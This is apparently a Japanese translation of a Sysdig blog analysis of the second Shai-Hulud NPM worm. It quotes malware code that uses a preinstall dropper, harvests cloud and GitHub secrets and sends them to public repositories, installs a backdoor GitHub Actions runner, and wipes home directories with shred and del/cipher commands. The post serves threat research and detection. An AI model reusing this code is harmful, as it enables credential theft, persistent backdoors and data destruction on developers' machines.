2025年11月24日、バックドア化されたNPMパッケージを利用してインターネット上に拡散を開始した新バージョンのShai-Huludワーム(Sha1-Huludとも表記)が確認されました。これまでに約1,000のパッケージに影響し、25,000超のGitHubリポジトリの認証情報が漏えいしています。この新たなワーム事例による被害の広がりと影響範囲は、多様な新手法の採用により、以前の亜種を上回っています。
実行されると、Shai-Huludは認証情報を窃取して外部へ持ち出し、さらに自己複製するために追加のNPMパッケージを探します。悪意あるコードは、実行されたシステム上のファイルやディレクトリの削除も試み、セルフホスト型のGitHub Actionランナーをインストールすることで被害者マシン上での永続化も狙います。しかし、組織のセキュリティチームは、NPM installコマンドから派生する不審な接続や実行を手掛かりに、実行時にShai-Huludを検知できます。
Sysdig脅威リサーチチーム(TRT)は、この第2版のShai-Huludが前身とどう異なるのか、どのように動作するのか、影響を受けたユーザーがどのように検知・緩和するのが最善かを分析しました。詳細な調査結果は以下のとおりです。
Shai-Hulud:再臨
新しい反復版のShai-Huludワームの全体的なキャンペーンと目的は以前のキャンペーンに似ていますが、違いは細部にあり、ワームの作成者がいくつかの注目すべき新機能を導入しています。
インストール後(post-install)フェーズで実行されていた以前のバージョンとは異なり、更新版のShai-Huludワームはインストール前(pre-installation)に実行されます。
{
...
"scripts": {
"preinstall": "node setup_bun.js" }
...
}
「setup_bun.js」は、攻撃者が関与する次の悪意ある手順のためのドロッパーとして機能する、単純なJavaScriptです。被害者のマシンに、現代的なWeb開発向けの人気JavaScriptランタイム/ツールキットである「bun」がすでにインストールされているかを確認します。インストールされていない場合は、まず「bun」をダウンロードし、それを使って別のJSファイル(今回は「bun_environment.js」)を実行します。
…
asyncfunctiondownloadAndSetupBun() {
try {
let command;
if (process.platform === 'win32') {
// Windows: Use PowerShell script command = 'powershell -c "irm bun.sh/install.ps1|iex"';
} else {
// Linux/macOS: Use curl + bash script command = 'curl -fsSL https://bun.sh/install | bash';
}
…
const environmentScript = path.join(__dirname, 'bun_environment.js');
if (fs.existsSync(environmentScript)) {
runExecutable(bunExecutable, [environmentScript]);
} else {
process.exit(0);
}
影響を受けたNPMパッケージにすでに同梱されているこの第2のJSコードには、約10MBの難読化された悪意あるコードが含まれています。これには、GitHub、AWS、GCP、Azure、TruffleHog、その他の機能を活用するための多数のモジュールが含まれます。
この新バージョンのShai-Huludに含まれる悪意あるスクリプトは、CI環境で実行される場合と開発者のマシン上で実行される場合とで、動作を区別します。後者の場合、元のプロセスはメッセージやエラーを一切出さずに正常終了しますが、その裏で、同一のスクリプトが新たにサイレント実行されてから終了します。
if (process.env.BUILDKITE || process.env.PROJECT_ID || process.env.GITHUB_ACTIONS || process.env.CODEBUILD_BUILD_NUMBER || process.env.CIRCLE_SHA1) {
await aL0(); // malicious execution } else {
if (process.env.POSTINSTALL_BG !== '1') {
let _0x4a3fc4 = process.execPath;
if (process.argv[0x1]) {
Bun.spawn([_0x4a3fc4, process.argv[0x1]], { 'env': { ...process.env,'POSTINSTALL_BG': '1'}}).unref();
return;
}
}
try {
await aL0(); // malicious execution }
…
}
その後、悪意あるコードはaL0()関数の呼び出しによって起動され、まず実行中のシステム種別を判定します。続いて、実行をさらに進めるために必要なデータの収集に移ります。
この時点で、Shai-Huludワームは環境変数にNPMトークンが存在するかを確認します。トークンが見つからない場合、マルウェアは現在の作業ディレクトリおよびホームディレクトリ内の.npmrcファイルからもトークンを探索します。このシークレットの入手は、NPMパッケージレジストリを用いて自己拡散するために不可欠です。トークンが見つかった場合、マルウェアはそれを検証し、所有者が管理するパッケージを取得し、月間ダウンロード数上位100件を更新します。
認証済みのGitHubユーザーが見つかると、ワームは新しいパブリックリポジトリを作成します。このバージョンでは、以前のキャンペーンで使われた「Shai-Hulud」のような固定のリポジトリ名にはなりません。代わりに、18文字固定長のランダム生成名になります。リポジトリの説明は「Sha1-Hulud: The Second Coming.」となります。名前と説明はGitHub上で容易に検索可能です。
実行中、ワームは後で新規作成されたリポジトリへ持ち出すため、注目すべき認証情報や環境変数を収集します。また、AWS、GCP、Azureのモジュールを用いてシークレットを探すだけでなく、Trufflehogを実行してファイルシステム上の有用なデータを探索します。
...
if (_0x1b7dd4.isAuthenticated()) {
await _0x1b7dd4.createRepo(tL0());
}
...
functiontL0() {
returnArray.from({
'length': 0x12 }, () =>Math.random().toString(0x24).slice(0x2, 0x3)).join('');
}
...
async ["createRepo"](_0x4c7ff4, _0x128783 = "Sha1-Hulud: The Second Coming.", _0x20067d = false) {
...
try {
let _0xc8701c = (awaitthis.octokit.rest.repos.createForAuthenticatedUser({
'name': _0x4c7ff4,
'description': _0x128783,
'private': _0x20067d,
'auto_init': false,
'has_issues': false,
'has_discussions': true,
'has_projects': false,
'has_wiki': false })).data;
...
}
今回さらに興味深いのは、マルウェアが新たな機能やチェックを導入している点です。新規作成されたリポジトリは、攻撃者が制御できるセルフホスト型GitHub Actionsランナーを、被害者の侵害されたマシンに密かにインストールします。Linuxでは、このランナーは「~/.dev-env」にインストールされ、「nohup」コマンドでバックグラウンド実行されます。 次に、登録トークンを用いて、このランナーが新規作成されたGitHubリポジトリに接続されます。
同時に、攻撃者は「.github/workflows/discussion.yaml」というGitHubワークフローもリポジトリに追加します。このワークフローはインジェクションに脆弱で、ランナーがインストールされたシステム上で任意のコマンドを実行するために悪用できます。これは実質的に侵害システムへのバックドアとして機能します。
...
let _0x3e4549 = {
'aws': {
'secrets': await _0x30fddc.runSecrets()
},
'gcp': {
'secrets': await _0x79b1b9.listAndRetrieveAllSecrets()
},
'azure': {
'secrets': await _0x8fa8f.listAndRetrieveAllSecrets()
}
};
let _0x584734 = _0x1b7dd4.saveContents("cloud.json", JSON.stringify(_0x3e4549), "Add file");
...
以前のバージョンとは異なり、NPMトークンが見つからない場合、攻撃者はユーザーのホームディレクトリ内にある書き込み可能なファイルとフォルダを削除します。Linuxではこの操作はshredコマンドで行われ、ファイルはランダムデータで上書きされ、復元不能になります。
...
if (a0_0x5a88b3.platform() === 'linux') {
await Bun.$`mkdir -p $HOME/.dev-env/`;
await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
}
...
awaitthis.octokit.request("PUT /repos/{owner}/{repo}/contents/{path}", {
'owner': _0x349291,
'repo': _0x2b1a39,
'path': ".github/workflows/discussion.yaml",
'message': "Add Discusion",
'content': Buffer.from("\nname: Discussion Create\non:\n discussion:\njobs:\n process:\n env:\n RUNNER_TRACKING_ID: 0\n runs-on: self-hosted\n steps:\n - uses: actions/checkout@v5\n - name: Handle Discussion\n run: echo ${{ github.event.discussion.body }}\n").toString("base64"),
'branch': 'main' });
...
有効なGitHub認証情報が見つかった場合、悪意あるコードは「2025-06-01T00:00:00Z」以降に更新され、かつユーザーがオーナーまたはコラボレーターとしてアクセスできるすべてのリポジトリを走査します。該当が見つかると、ワームはそれらのGitHubシークレットの持ち出しを試みます。
シークレットを持ち出すために、ワームは見つかった各リポジトリに新しいブランチを作成します。このブランチには「.github/workflows/formatter_123456789.yml」というワークフローファイルが含まれ、「push」でトリガーされて利用可能なGitHubシークレットを抽出します。対応するアクションが実行されると、悪意あるコードは返却結果を非同期に待機し、先に作成したGitHubのパブリックリポジトリへそれらのシークレットを持ち出します。
...
if (_0x4692e0) {
// if NPM token was found -> update the packages owned by the maintainer and push them into NPMawait El(_0x4692e0);
} else {
// delete all the files writable by the current user in the HOME folder and wipes out all the folders into itconsole.log("Error 12");
if (_0x46410c.platform === "windows") {
Bun.spawnSync(["cmd.exe", '/c', "del /F /Q /S \"%USERPROFILE%*\" && for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & cipher /W:%USERPROFILE%"]);
} else {
Bun.spawnSync(["bash", '-c', "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | xargs -0 -r shred -uvz -n 1 && find \"$HOME\" -depth -type d -empty -delete"]);
}
process.exit(0x0);
}
...
GitHubリポジトリからシークレットを取得すると、コードは実行の痕跡も消去します。以前にトリガーされたGitHubアクションに加え、ワークフロー作成に使用したGitHubブランチも削除します。
...
// branch namelet _0x27a22e = "add-linter-workflow-" + Date.now();
// content added to the new branchlet _0x222423 = Buffer.from("\nname: Code Formatter\non:\n push\njobs:\n lint:\n runs-on: ubuntu-latest\n env:\n DATA: ${{ toJSON(secrets)}}\n steps:\n - uses: actions/checkout@v5\n - name: Run Formatter\n run: |\n cat <<EOF > format.json\n $DATA\n EOF\n - uses: actions/upload-artifact@v5\n with:\n path: format.json\n name: formatting\n", "utf8").toString("base64");
awaitthis.octokit.request("PUT /repos/{owner}/{repo}/contents/{path}", {
'owner': _0x10c657,
'repo': _0x43812f,
'path': ".github/workflows/formatter_123456789.yml",
'message': "Add formatter workflow",
'content': _0x222423,
'branch': _0x27a22e
});
...
翻訳元: https://www.sysdig.com/blog/return-of-the-shai-hulud-worm-affects-over-25-000-github-repositories
